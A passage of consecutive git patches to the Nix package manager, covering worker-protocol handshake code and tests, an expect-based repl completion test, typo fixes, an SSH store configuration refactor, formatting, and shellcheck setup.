WorkerProto::Op::QueryValidPaths; + WorkerProto::write(store, *this, paths); + if (GET_PROTOCOL_MINOR(daemonVersion) >= 27) { + to << maybeSubstitute; + } + processStderr(daemonException); + return WorkerProto::Serialise::read(store, *this); +} + +void WorkerProto::BasicClientConnection::addTempRoot( + const StoreDirConfig & store, bool * daemonException, const StorePath & path) +{ + to << WorkerProto::Op::AddTempRoot << store.printStorePath(path); + processStderr(daemonException); + readInt(from); +} + +void WorkerProto::BasicClientConnection::putBuildDerivationRequest( + const StoreDirConfig & store, + bool * daemonException, + const StorePath & drvPath, + const BasicDerivation & drv, + BuildMode buildMode) +{ + to << WorkerProto::Op::BuildDerivation << store.printStorePath(drvPath); + writeDerivation(to, store, drv); + to << buildMode; +} + +BuildResult +WorkerProto::BasicClientConnection::getBuildDerivationResponse(const StoreDirConfig & store, bool * daemonException) +{ + return WorkerProto::Serialise::read(store, *this); +} + +void WorkerProto::BasicClientConnection::narFromPath( + const StoreDirConfig & store, bool * daemonException, const StorePath & path, std::function fun) +{ + to << WorkerProto::Op::NarFromPath << store.printStorePath(path); + processStderr(daemonException); + + fun(from); +} + +void WorkerProto::BasicClientConnection::importPaths( + const StoreDirConfig & store, bool * daemonException, Source & source) +{ + to << WorkerProto::Op::ImportPaths; + processStderr(daemonException, 0, &source); + auto importedPaths = WorkerProto::Serialise::read(store, *this); + assert(importedPaths.size() <= importedPaths.size()); +} +} diff --git a/src/libstore/worker-protocol-connection.hh b/src/libstore/worker-protocol-connection.hh new file mode 100644 index 000000000..9dd723fd0 --- /dev/null +++ b/src/libstore/worker-protocol-connection.hh @@ -0,0 +1,187 @@ +#pragma once +///@file + +#include "worker-protocol.hh" +#include "store-api.hh" + +namespace nix { + +struct WorkerProto::BasicClientConnection +{ + /** + * Send with this. + */ + FdSink to; + + /** + * Receive with this. + */ + FdSource from; + + /** + * Worker protocol version used for the connection. + * + * Despite its name, it is actually the maximum version both + * sides support. (If the maximum doesn't exist, we would fail to + * establish a connection and produce a value of this type.) + */ + WorkerProto::Version daemonVersion; + + /** + * Flush to direction + */ + virtual ~BasicClientConnection(); + + virtual void closeWrite() = 0; + + std::exception_ptr processStderrReturn(Sink * sink = 0, Source * source = 0, bool flush = true); + + void processStderr(bool * daemonException, Sink * sink = 0, Source * source = 0, bool flush = true); + + /** + * Establishes connection, negotiating version. + * + * @return the version provided by the other side of the + * connection. + * + * @param to Taken by reference to allow for various error handling + * mechanisms. + * + * @param from Taken by reference to allow for various error + * handling mechanisms. + * + * @param localVersion Our version which is sent over + */ + static Version handshake(BufferedSink & to, Source & from, WorkerProto::Version localVersion); + + /** + * After calling handshake, must call this to exchange some basic + * information abou the connection. + */ + ClientHandshakeInfo postHandshake(const StoreDirConfig & store); + + /** + * Coercion to `WorkerProto::ReadConn`. This makes it easy to use the + * factored out serve protocol serializers with a + * `LegacySSHStore::Connection`. + * + * The serve protocol connection types are unidirectional, unlike + * this type. + */ + operator WorkerProto::ReadConn() + { + return WorkerProto::ReadConn{ + .from = from, + .version = daemonVersion, + }; + } + + /** + * Coercion to `WorkerProto::WriteConn`. This makes it easy to use the + * factored out serve protocol serializers with a + * `LegacySSHStore::Connection`. + * + * The serve protocol connection types are unidirectional, unlike + * this type. + */ + operator WorkerProto::WriteConn() + { + return WorkerProto::WriteConn{ + .to = to, + .version = daemonVersion, + }; + } + + void addTempRoot(const StoreDirConfig & remoteStore, bool * daemonException, const StorePath & path); + + StorePathSet queryValidPaths( + const StoreDirConfig & remoteStore, + bool * daemonException, + const StorePathSet & paths, + SubstituteFlag maybeSubstitute); + + UnkeyedValidPathInfo queryPathInfo(const StoreDirConfig & store, bool * daemonException, const StorePath & path); + + void putBuildDerivationRequest( + const StoreDirConfig & store, + bool * daemonException, + const StorePath & drvPath, + const BasicDerivation & drv, + BuildMode buildMode); + + /** + * Get the response, must be paired with + * `putBuildDerivationRequest`. + */ + BuildResult getBuildDerivationResponse(const StoreDirConfig & store, bool * daemonException); + + void narFromPath( + const StoreDirConfig & store, + bool * daemonException, + const StorePath & path, + std::function fun); + + void importPaths(const StoreDirConfig & store, bool * daemonException, Source & source); +}; + +struct WorkerProto::BasicServerConnection +{ + /** + * Send with this. + */ + FdSink & to; + + /** + * Receive with this. + */ + FdSource & from; + + /** + * Worker protocol version used for the connection. + * + * Despite its name, it is actually the maximum version both + * sides support. (If the maximum doesn't exist, we would fail to + * establish a connection and produce a value of this type.) + */ + WorkerProto::Version clientVersion; + + operator WorkerProto::ReadConn() + { + return WorkerProto::ReadConn{ + .from = from, + .version = clientVersion, + }; + } + + operator WorkerProto::WriteConn() + { + return WorkerProto::WriteConn{ + .to = to, + .version = clientVersion, + }; + } + + /** + * Establishes connection, negotiating version. + * + * @return the version provided by the other side of the + * connection. + * + * @param to Taken by reference to allow for various error handling + * mechanisms. + * + * @param from Taken by reference to allow for various error + * handling mechanisms. + * + * @param localVersion Our version which is sent over + */ + static WorkerProto::Version handshake(BufferedSink & to, Source & from, WorkerProto::Version localVersion); + + /** + * After calling handshake, must call this to exchange some basic + * information abou the connection. + */ + void postHandshake(const StoreDirConfig & store, const ClientHandshakeInfo & info); +}; + +} diff --git a/src/libstore/worker-protocol.cc b/src/libstore/worker-protocol.cc index a50259d24..c61540bd6 100644 --- a/src/libstore/worker-protocol.cc +++ b/src/libstore/worker-protocol.cc @@ -222,4 +222,35 @@ void WorkerProto::Serialise::write(const StoreDirConfig & } } + +WorkerProto::ClientHandshakeInfo WorkerProto::Serialise::read(const StoreDirConfig & store, ReadConn conn) +{ + WorkerProto::ClientHandshakeInfo res; + + if (GET_PROTOCOL_MINOR(conn.version) >= 33) { + res.daemonNixVersion = readString(conn.from); + } + + if (GET_PROTOCOL_MINOR(conn.version) >= 35) { + res.remoteTrustsUs = WorkerProto::Serialise>::read(store, conn); + } else { + // We don't know the answer; protocol to old. + res.remoteTrustsUs = std::nullopt; + } + + return res; +} + +void WorkerProto::Serialise::write(const StoreDirConfig & store, WriteConn conn, const WorkerProto::ClientHandshakeInfo & info) +{ + if (GET_PROTOCOL_MINOR(conn.version) >= 33) { + assert(info.daemonNixVersion); + conn.to << *info.daemonNixVersion; + } + + if (GET_PROTOCOL_MINOR(conn.version) >= 35) { + WorkerProto::write(store, conn, info.remoteTrustsUs); + } +} + } diff --git a/src/libstore/worker-protocol.hh b/src/libstore/worker-protocol.hh index 91d277b77..db61574aa 100644 --- a/src/libstore/worker-protocol.hh +++ b/src/libstore/worker-protocol.hh @@ -76,6 +76,19 @@ struct WorkerProto Version version; }; + /** + * Stripped down serialization logic suitable for sharing with Hydra. + * + * @todo remove once Hydra uses Store abstraction consistently. + */ + struct BasicClientConnection; + struct BasicServerConnection; + + /** + * Extra information provided as part of protocol negotation. + */ + struct ClientHandshakeInfo; + /** * Data type for canonical pairs of serialisers for the worker protocol. * @@ -166,6 +179,33 @@ enum struct WorkerProto::Op : uint64_t AddPermRoot = 47, }; +struct WorkerProto::ClientHandshakeInfo +{ + /** + * The version of the Nix daemon that is processing our requests +. + * + * Do note, it may or may not communicating with another daemon, + * rather than being an "end" `LocalStore` or similar. + */ + std::optional daemonNixVersion; + + /** + * Whether the remote side trusts us or not. + * + * 3 values: "yes", "no", or `std::nullopt` for "unknown". + * + * Note that the "remote side" might not be just the end daemon, but + * also an intermediary forwarder that can make its own trusting + * decisions. This would be the intersection of all their trust + * decisions, since it takes only one link in the chain to start + * denying operations. + */ + std::optional remoteTrustsUs; + + bool operator == (const ClientHandshakeInfo &) const = default; +}; + /** * Convenience for sending operation codes. * @@ -218,6 +258,8 @@ template<> DECLARE_WORKER_SERIALISER(std::optional); template<> DECLARE_WORKER_SERIALISER(std::optional); +template<> +DECLARE_WORKER_SERIALISER(WorkerProto::ClientHandshakeInfo); template DECLARE_WORKER_SERIALISER(std::vector); diff --git a/src/nix-store/nix-store.cc b/src/nix-store/nix-store.cc index b23d99ad6..6d028e0a7 100644 --- a/src/nix-store/nix-store.cc +++ b/src/nix-store/nix-store.cc @@ -7,6 +7,7 @@ #include "local-fs-store.hh" #include "log-store.hh" #include "serve-protocol.hh" +#include "serve-protocol-connection.hh" #include "serve-protocol-impl.hh" #include "shared.hh" #include "graphml.hh" diff --git a/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_30.bin b/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_30.bin new file mode 100644 index 000000000..e69de29bb diff --git a/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_33.bin b/tests/unit/libstore/data/worker-protocol/client-handshake-info_1_33.bin new file mode 100644 index 0000000000000000000000000000000000000000..96c6efafc26106c56194eb973f82406c0e66c297 GIT binary patch literal 32 WcmZQ(fPl38d@zF<%1=rx0Z79*4o07R|=g8%>k literal 0 HcmV?d00001 diff --git a/tests/unit/libstore/data/worker-protocol/handshake-to-client.bin b/tests/unit/libstore/data/worker-protocol/handshake-to-client.bin new file mode 100644 index 0000000000000000000000000000000000000000..bee94fbe53ae24cb60bfa2d506031389c71b43ac GIT binary patch literal 16 Tcmd1LtVm%10xm`n$-n>r86p9| literal 0 HcmV?d00001 diff --git a/tests/unit/libstore/serve-protocol.cc b/tests/unit/libstore/serve-protocol.cc index 61dc15528..ebf0c52b0 100644 --- a/tests/unit/libstore/serve-protocol.cc +++ b/tests/unit/libstore/serve-protocol.cc @@ -6,6 +6,7 @@ #include "serve-protocol.hh" #include "serve-protocol-impl.hh" +#include "serve-protocol-connection.hh" #include "build-result.hh" #include "file-descriptor.hh" #include "tests/protocol.hh" diff --git a/tests/unit/libstore/worker-protocol.cc b/tests/unit/libstore/worker-protocol.cc index 2b2e559a9..853d56b6a 100644 --- a/tests/unit/libstore/worker-protocol.cc +++ b/tests/unit/libstore/worker-protocol.cc @@ -4,6 +4,7 @@ #include #include "worker-protocol.hh" +#include "worker-protocol-connection.hh" #include "worker-protocol-impl.hh" #include "derived-path.hh" #include "build-result.hh" @@ -18,9 +19,9 @@ struct WorkerProtoTest : VersionedProtoTest { /** * For serializers that don't care about the minimum version, we - * used the oldest one: 1.0. + * used the oldest one: 1.10. */ - WorkerProto::Version defaultVersion = 1 << 8 | 0; + WorkerProto::Version defaultVersion = 1 << 8 | 10; }; @@ -591,4 +592,152 @@ VERSIONED_CHARACTERIZATION_TEST( }, })) +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + clientHandshakeInfo_1_30, + "client-handshake-info_1_30", + 1 << 8 | 30, + (std::tuple { + {}, + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + clientHandshakeInfo_1_33, + "client-handshake-info_1_33", + 1 << 8 | 33, + (std::tuple { + { + .daemonNixVersion = std::optional { "foo" }, + }, + { + .daemonNixVersion = std::optional { "bar" }, + }, + })) + +VERSIONED_CHARACTERIZATION_TEST( + WorkerProtoTest, + clientHandshakeInfo_1_35, + "client-handshake-info_1_35", + 1 << 8 | 35, + (std::tuple { + { + .daemonNixVersion = std::optional { "foo" }, + .remoteTrustsUs = std::optional { NotTrusted }, + }, + { + .daemonNixVersion = std::optional { "bar" }, + .remoteTrustsUs = std::optional { Trusted }, + }, + })) + +TEST_F(WorkerProtoTest, handshake_log) +{ + CharacterizationTest::writeTest("handshake-to-client", [&]() -> std::string { + StringSink toClientLog; + + Pipe toClient, toServer; + toClient.create(); + toServer.create(); + + WorkerProto::Version clientResult; + + auto thread = std::thread([&]() { + FdSink out { toServer.writeSide.get() }; + FdSource in0 { toClient.readSide.get() }; + TeeSource in { in0, toClientLog }; + clientResult = WorkerProto::BasicClientConnection::handshake( + out, in, defaultVersion); + }); + + { + FdSink out { toClient.writeSide.get() }; + FdSource in { toServer.readSide.get() }; + WorkerProto::BasicServerConnection::handshake( + out, in, defaultVersion); + }; + + thread.join(); + + return std::move(toClientLog.s); + }); +} + +/// Has to be a `BufferedSink` for handshake. +struct NullBufferedSink : BufferedSink { + void writeUnbuffered(std::string_view data) override { } +}; + +TEST_F(WorkerProtoTest, handshake_client_replay) +{ + CharacterizationTest::readTest("handshake-to-client", [&](std::string toClientLog) { + NullBufferedSink nullSink; + + StringSource in { toClientLog }; + auto clientResult = WorkerProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion); + + EXPECT_EQ(clientResult, defaultVersion); + }); +} + +TEST_F(WorkerProtoTest, handshake_client_truncated_replay_throws) +{ + CharacterizationTest::readTest("handshake-to-client", [&](std::string toClientLog) { + for (size_t len = 0; len < toClientLog.size(); ++len) { + NullBufferedSink nullSink; + StringSource in { + // truncate + toClientLog.substr(0, len) + }; + if (len < 8) { + EXPECT_THROW( + WorkerProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion), + EndOfFile); + } else { + // Not sure why cannot keep on checking for `EndOfFile`. + EXPECT_THROW( + WorkerProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion), + Error); + } + } + }); +} + +TEST_F(WorkerProtoTest, handshake_client_corrupted_throws) +{ + CharacterizationTest::readTest("handshake-to-client", [&](const std::string toClientLog) { + for (size_t idx = 0; idx < toClientLog.size(); ++idx) { + // corrupt a copy + std::string toClientLogCorrupt = toClientLog; + toClientLogCorrupt[idx] *= 4; + ++toClientLogCorrupt[idx]; + + NullBufferedSink nullSink; + StringSource in { toClientLogCorrupt }; + + if (idx < 4 || idx == 9) { + // magic bytes don't match + EXPECT_THROW( + WorkerProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion), + Error); + } else if (idx < 8 || idx >= 12) { + // Number out of bounds + EXPECT_THROW( + WorkerProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion), + SerialisationError); + } else { + auto ver = WorkerProto::BasicClientConnection::handshake( + nullSink, in, defaultVersion); + // `std::min` of this and the other version saves us + EXPECT_EQ(ver, defaultVersion); + } + } + }); +} + } From ebfada36a1d07159141bcb0fb60e7a4f934d448b Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 27 May 2024 09:58:49 +0200 Subject: [PATCH 0669/1251] Add repl completion test --- flake.nix | 1 + tests/repl-completion.nix | 40 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 41 insertions(+) create mode 100644 tests/repl-completion.nix diff --git a/flake.nix b/flake.nix index 987f25305..6356eedc0 100644 --- a/flake.nix +++ b/flake.nix @@ -393,6 +393,7 @@ in pkgs.buildPackages.runCommand "test-rl-next-release-notes" { } '' LANG=C.UTF-8 ${pkgs.changelog-d-nix}/bin/changelog-d ${./doc/manual/rl-next} >$out ''; + repl-completion = nixpkgsFor.${system}.native.callPackage ./tests/repl-completion.nix { }; } // (lib.optionalAttrs (builtins.elem system linux64BitSystems)) { dockerImage = self.hydraJobs.dockerImage.${system}; } // (lib.optionalAttrs (!(builtins.elem system linux32BitSystems))) { diff --git a/tests/repl-completion.nix b/tests/repl-completion.nix new file mode 100644 index 000000000..3ba198a98 --- /dev/null +++ b/tests/repl-completion.nix @@ -0,0 +1,40 @@ +{ runCommand, nix, expect }: + +# We only use expect when necessary, e.g. for testing tab completion in nix repl. +# See also tests/functional/repl.sh + +runCommand "repl-completion" { + nativeBuildInputs = [ + expect + nix + ]; + expectScript = '' + # Regression https://github.com/NixOS/nix/pull/10778 + spawn nix repl --offline --extra-experimental-features nix-command + expect "nix-repl>" + send "foo = import ./does-not-exist.nix\n" + expect "nix-repl>" + send "foo.\t" + expect { + "nix-repl>" { + puts "Got another prompt. Good." + } + eof { + puts "Got EOF. Bad." + exit 1 + } + } + exit 0 + ''; + passAsFile = [ "expectScript" ]; +} +'' + export NIX_STORE=$TMPDIR/store + export NIX_STATE_DIR=$TMPDIR/state + export HOME=$TMPDIR/home + mkdir $HOME + + nix-store --init + expect $expectScriptPath + touch $out +'' \ No newline at end of file From e7ea5591a25f2f28be15ca5bf8768fb460b4a663 Mon Sep 17 00:00:00 2001 From: Martin Joerg Date: Mon, 27 May 2024 15:56:52 +0200 Subject: [PATCH 0670/1251] fix typos --- doc/manual/src/language/operators.md | 2 +- src/nix/flake-metadata.md | 4 ++-- src/nix/hash.cc | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/doc/manual/src/language/operators.md b/doc/manual/src/language/operators.md index 311887e96..9e5ab52a2 100644 --- a/doc/manual/src/language/operators.md +++ b/doc/manual/src/language/operators.md @@ -141,7 +141,7 @@ The result is a string. Update [attribute set] *attrset1* with names and values from *attrset2*. -The returned attribute set will have of all the attributes in *attrset1* and *attrset2*. +The returned attribute set will have all of the attributes in *attrset1* and *attrset2*. If an attribute name is present in both, the attribute value from the latter is taken. [Update]: #update diff --git a/src/nix/flake-metadata.md b/src/nix/flake-metadata.md index 5a009409b..adfd3dc96 100644 --- a/src/nix/flake-metadata.md +++ b/src/nix/flake-metadata.md @@ -2,10 +2,10 @@ R""( # Examples -* Show what `nixpkgs` resolves to: +* Show what `dwarffs` resolves to: ```console - # nix flake metadata nixpkgs + # nix flake metadata dwarffs Resolved URL: github:edolstra/dwarffs Locked URL: github:edolstra/dwarffs/f691e2c991e75edb22836f1dbe632c40324215c5 Description: A filesystem that fetches DWARF debug info from the Internet on demand diff --git a/src/nix/hash.cc b/src/nix/hash.cc index f969886ea..f57b224d2 100644 --- a/src/nix/hash.cc +++ b/src/nix/hash.cc @@ -181,7 +181,7 @@ struct CmdToBase : Command void run() override { - warn("The old format conversion sub commands of `nix hash` where deprecated in favor of `nix hash convert`."); + warn("The old format conversion sub commands of `nix hash` were deprecated in favor of `nix hash convert`."); for (auto s : args) logger->cout(Hash::parseAny(s, hashAlgo).to_string(hashFormat, hashFormat == HashFormat::SRI)); } From 3e9c3738d32bb4b9fbea0ad067b095b94cd4f907 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Thu, 23 May 2024 12:14:53 -0400 Subject: [PATCH 0671/1251] Create `CommonSSHStoreConfig::createSSHMaster` By moving `host` to the config, we can do a lot further cleanups and dedups. This anticipates a world where we always go `StoreReference` -> `*StoreConfig` -> `Store*` rather than skipping the middle step too. Progress on #10766 Progress on https://github.com/NixOS/hydra/issues/1164 --- src/libstore/legacy-ssh-store.cc | 19 +++------------ src/libstore/legacy-ssh-store.hh | 9 ------- src/libstore/ssh-store-config.cc | 21 +++++++++++++++- src/libstore/ssh-store-config.hh | 22 ++++++++++++----- src/libstore/ssh-store.cc | 42 +++++++++++++++----------------- src/libstore/ssh.cc | 2 +- src/libstore/ssh.hh | 4 +-- 7 files changed, 61 insertions(+), 58 deletions(-) diff --git a/src/libstore/legacy-ssh-store.cc b/src/libstore/legacy-ssh-store.cc index c75d50ade..9db5ce532 100644 --- a/src/libstore/legacy-ssh-store.cc +++ b/src/libstore/legacy-ssh-store.cc @@ -32,32 +32,19 @@ LegacySSHStore::LegacySSHStore( std::string_view scheme, std::string_view host, const Params & params) - : LegacySSHStore{scheme, LegacySSHStoreConfig::extractConnStr(scheme, host), params} -{ -} - -LegacySSHStore::LegacySSHStore( - std::string_view scheme, - std::string host, - const Params & params) : StoreConfig(params) - , CommonSSHStoreConfig(params) + , CommonSSHStoreConfig(scheme, host, params) , LegacySSHStoreConfig(params) , Store(params) - , host(host) , connections(make_ref>( std::max(1, (int) maxConnections), [this]() { return openConnection(); }, [](const ref & r) { return r->good; } )) - , master( - host, - sshKey.get(), - sshPublicHostKey.get(), + , master(createSSHMaster( // Use SSH master only if using more than 1 connection. connections->capacity() > 1, - compress, - logFD) + logFD)) { } diff --git a/src/libstore/legacy-ssh-store.hh b/src/libstore/legacy-ssh-store.hh index 81872996a..6c3c95080 100644 --- a/src/libstore/legacy-ssh-store.hh +++ b/src/libstore/legacy-ssh-store.hh @@ -33,8 +33,6 @@ struct LegacySSHStore : public virtual LegacySSHStoreConfig, public virtual Stor struct Connection; - std::string host; - ref> connections; SSHMaster master; @@ -46,13 +44,6 @@ struct LegacySSHStore : public virtual LegacySSHStoreConfig, public virtual Stor std::string_view host, const Params & params); -private: - LegacySSHStore( - std::string_view scheme, - std::string host, - const Params & params); -public: - ref openConnection(); std::string getUri() override; diff --git a/src/libstore/ssh-store-config.cc b/src/libstore/ssh-store-config.cc index 742354cce..e81a94874 100644 --- a/src/libstore/ssh-store-config.cc +++ b/src/libstore/ssh-store-config.cc @@ -1,10 +1,11 @@ #include #include "ssh-store-config.hh" +#include "ssh.hh" namespace nix { -std::string CommonSSHStoreConfig::extractConnStr(std::string_view scheme, std::string_view _connStr) +static std::string extractConnStr(std::string_view scheme, std::string_view _connStr) { if (_connStr.empty()) throw UsageError("`%s` store requires a valid SSH host as the authority part in Store URI", scheme); @@ -21,4 +22,22 @@ std::string CommonSSHStoreConfig::extractConnStr(std::string_view scheme, std::s return connStr; } +CommonSSHStoreConfig::CommonSSHStoreConfig(std::string_view scheme, std::string_view host, const Params & params) + : StoreConfig(params) + , host(extractConnStr(scheme, host)) +{ +} + +SSHMaster CommonSSHStoreConfig::createSSHMaster(bool useMaster, Descriptor logFD) +{ + return { + host, + sshKey.get(), + sshPublicHostKey.get(), + useMaster, + compress, + logFD, + }; +} + } diff --git a/src/libstore/ssh-store-config.hh b/src/libstore/ssh-store-config.hh index 09f9f23a7..5deb6f4c9 100644 --- a/src/libstore/ssh-store-config.hh +++ b/src/libstore/ssh-store-config.hh @@ -5,10 +5,14 @@ namespace nix { +class SSHMaster; + struct CommonSSHStoreConfig : virtual StoreConfig { using StoreConfig::StoreConfig; + CommonSSHStoreConfig(std::string_view scheme, std::string_view host, const Params & params); + const Setting sshKey{this, "", "ssh-key", "Path to the SSH private key used to authenticate to the remote machine."}; @@ -30,9 +34,7 @@ struct CommonSSHStoreConfig : virtual StoreConfig * RFC2732, but also pure addresses. The latter one is needed here to * connect to a remote store via SSH (it's possible to do e.g. `ssh root@::1`). * - * This function now ensures that a usable connection string is available: - * - * - If the store to be opened is not an SSH store, nothing will be done. + * When initialized, the following adjustments are made: * * - If the URL looks like `root@[::1]` (which is allowed by the URL parser and probably * needed to pass further flags), it @@ -44,9 +46,17 @@ struct CommonSSHStoreConfig : virtual StoreConfig * * Will throw an error if `connStr` is empty too. */ - static std::string extractConnStr( - std::string_view scheme, - std::string_view connStr); + std::string host; + + /** + * Small wrapper around `SSHMaster::SSHMaster` that gets most + * arguments from this configuration. + * + * See that constructor for details on the remaining two arguments. + */ + SSHMaster createSSHMaster( + bool useMaster, + Descriptor logFD = INVALID_DESCRIPTOR); }; } diff --git a/src/libstore/ssh-store.cc b/src/libstore/ssh-store.cc index 246abaac2..7ad934b73 100644 --- a/src/libstore/ssh-store.cc +++ b/src/libstore/ssh-store.cc @@ -32,34 +32,21 @@ struct SSHStoreConfig : virtual RemoteStoreConfig, virtual CommonSSHStoreConfig class SSHStore : public virtual SSHStoreConfig, public virtual RemoteStore { - SSHStore( - std::string_view scheme, - std::string host, - const Params & params) - : StoreConfig(params) - , RemoteStoreConfig(params) - , CommonSSHStoreConfig(params) - , SSHStoreConfig(params) - , Store(params) - , RemoteStore(params) - , host(host) - , master( - host, - sshKey.get(), - sshPublicHostKey.get(), - // Use SSH master only if using more than 1 connection. - connections->capacity() > 1, - compress) - { - } - public: SSHStore( std::string_view scheme, std::string_view host, const Params & params) - : SSHStore{scheme, SSHStoreConfig::extractConnStr(scheme, host), params} + : StoreConfig(params) + , RemoteStoreConfig(params) + , CommonSSHStoreConfig(scheme, host, params) + , SSHStoreConfig(params) + , Store(params) + , RemoteStore(params) + , master(createSSHMaster( + // Use SSH master only if using more than 1 connection. + connections->capacity() > 1)) { } @@ -119,6 +106,15 @@ struct MountedSSHStoreConfig : virtual SSHStoreConfig, virtual LocalFSStoreConfi { } + MountedSSHStoreConfig(std::string_view scheme, std::string_view host, StringMap params) + : StoreConfig(params) + , RemoteStoreConfig(params) + , CommonSSHStoreConfig(scheme, host, params) + , SSHStoreConfig(params) + , LocalFSStoreConfig(params) + { + } + const std::string name() override { return "Experimental SSH Store with filesystem mounted"; } std::string doc() override @@ -158,7 +154,7 @@ public: const Params & params) : StoreConfig(params) , RemoteStoreConfig(params) - , CommonSSHStoreConfig(params) + , CommonSSHStoreConfig(scheme, host, params) , SSHStoreConfig(params) , LocalFSStoreConfig(params) , MountedSSHStoreConfig(params) diff --git a/src/libstore/ssh.cc b/src/libstore/ssh.cc index 5eb63fa67..e5d623adf 100644 --- a/src/libstore/ssh.cc +++ b/src/libstore/ssh.cc @@ -10,7 +10,7 @@ SSHMaster::SSHMaster( std::string_view host, std::string_view keyFile, std::string_view sshPublicHostKey, - bool useMaster, bool compress, int logFD) + bool useMaster, bool compress, Descriptor logFD) : host(host) , fakeSSH(host == "localhost") , keyFile(keyFile) diff --git a/src/libstore/ssh.hh b/src/libstore/ssh.hh index be0a32287..19b30e883 100644 --- a/src/libstore/ssh.hh +++ b/src/libstore/ssh.hh @@ -17,7 +17,7 @@ private: const std::string sshPublicHostKey; const bool useMaster; const bool compress; - const int logFD; + const Descriptor logFD; struct State { @@ -43,7 +43,7 @@ public: std::string_view host, std::string_view keyFile, std::string_view sshPublicHostKey, - bool useMaster, bool compress, int logFD = -1); + bool useMaster, bool compress, Descriptor logFD = INVALID_DESCRIPTOR); struct Connection { From 1d5d748fe403df884a23ca6ed87e0575ae619193 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 27 May 2024 22:32:52 -0400 Subject: [PATCH 0672/1251] Fix format 39b2a399ad94f061eea0e0fc639cf1466587959e passed CI but was landed after the formatting change in 1d6c2316a988a97b2c4d214f582580f70c7d9586. --- src/libutil/windows/windows-async-pipe.cc | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/src/libutil/windows/windows-async-pipe.cc b/src/libutil/windows/windows-async-pipe.cc index 7aae603bd..4fa57ca36 100644 --- a/src/libutil/windows/windows-async-pipe.cc +++ b/src/libutil/windows/windows-async-pipe.cc @@ -13,8 +13,14 @@ void AsyncPipe::createAsyncPipe(HANDLE iocp) std::string pipeName = fmt("\\\\.\\pipe\\nix-%d-%p", GetCurrentProcessId(), (void *) this); readSide = CreateNamedPipeA( - pipeName.c_str(), PIPE_ACCESS_INBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE, PIPE_UNLIMITED_INSTANCES, 0, 0, - INFINITE, NULL); + pipeName.c_str(), + PIPE_ACCESS_INBOUND | FILE_FLAG_OVERLAPPED, + PIPE_TYPE_BYTE, + PIPE_UNLIMITED_INSTANCES, + 0, + 0, + INFINITE, + NULL); if (!readSide) throw WinError("CreateNamedPipeA(%s)", pipeName); From 567265ae67d0de0d4273376dffd33ea8fb141c5c Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 27 May 2024 09:40:49 -0400 Subject: [PATCH 0673/1251] Start getting all shell scripts passing shellcheck Like with the formatter, we are blacklisting most files by default. Do a few files to get us started, and get a sense of what this looks like. --- .shellcheckrc | 2 + maintainers/flake-module.nix | 235 +++++++++++++++++++++++- mk/common-test.sh | 9 +- mk/run-test.sh | 5 +- scripts/bigsur-nixbld-user-migration.sh | 16 +- tests/functional/repl.sh | 33 ++-- 6 files changed, 274 insertions(+), 26 deletions(-) create mode 100644 .shellcheckrc diff --git a/.shellcheckrc b/.shellcheckrc new file mode 100644 index 000000000..662e2045c --- /dev/null +++ b/.shellcheckrc @@ -0,0 +1,2 @@ +external-sources=true +source-path=SCRIPTDIR diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix index 5dbafabaa..dd986e686 100644 --- a/maintainers/flake-module.nix +++ b/maintainers/flake-module.nix @@ -11,13 +11,13 @@ pre-commit.settings = { hooks = { clang-format.enable = true; + shellcheck.enable = true; # TODO: nixfmt, https://github.com/NixOS/nixfmt/issues/153 }; excludes = [ # We don't want to format test data # ''tests/(?!nixos/).*\.nix'' - ''^tests/functional/.*$'' ''^tests/unit/[^/]*/data/.*$'' # Don't format vendored code @@ -25,7 +25,7 @@ ''^doc/manual/redirects\.js$'' ''^doc/manual/theme/highlight\.js$'' - # We haven't applied formatting to these files yet + # We haven't applied formatting to these files yet (C++) ''^doc/manual/redirects\.js$'' ''^doc/manual/theme/highlight\.js$'' ''^precompiled-headers\.h$'' @@ -428,6 +428,8 @@ ''^src/nix/verify\.cc$'' ''^src/nix/why-depends\.cc$'' + ''^tests/functional/plugins/plugintest\.cc'' + ''^tests/functional/test-libstoreconsumer/main\.cc'' ''^tests/nixos/ca-fd-leak/sender\.c'' ''^tests/nixos/ca-fd-leak/smuggler\.c'' ''^tests/unit/libexpr-support/tests/libexpr\.hh'' @@ -490,6 +492,235 @@ ''^tests/unit/libutil/tests\.cc'' ''^tests/unit/libutil/url\.cc'' ''^tests/unit/libutil/xml-writer\.cc'' + + # We haven't lintted these files yet (shell) + ''^config/install-sh$'' + ''^misc/systemv/nix-daemon$'' + ''^misc/bash/completion\.sh$'' + ''^misc/fish/completion\.fish$'' + ''^misc/zsh/completion\.zsh$'' + ''^scripts/check-hydra-status\.sh$'' + ''^scripts/create-darwin-volume\.sh$'' + ''^scripts/install-darwin-multi-user\.sh$'' + ''^scripts/install-multi-user\.sh$'' + ''^scripts/install-nix-from-closure\.sh$'' + ''^scripts/install-systemd-multi-user\.sh$'' + ''^src/nix/get-env\.sh$'' + ''^tests/functional/add\.sh$'' + ''^tests/functional/bash-profile\.sh$'' + ''^tests/functional/binary-cache-build-remote\.sh$'' + ''^tests/functional/binary-cache\.sh$'' + ''^tests/functional/brotli\.sh$'' + ''^tests/functional/build-delete\.sh$'' + ''^tests/functional/build-dry\.sh$'' + ''^tests/functional/build-remote-content-addressed-fixed\.sh$'' + ''^tests/functional/build-remote-content-addressed-floating\.sh$'' + ''^tests/functional/build-remote-input-addressed\.sh$'' + ''^tests/functional/build-remote-trustless-after\.sh$'' + ''^tests/functional/build-remote-trustless-should-fail-0\.sh$'' + ''^tests/functional/build-remote-trustless-should-pass-0\.sh$'' + 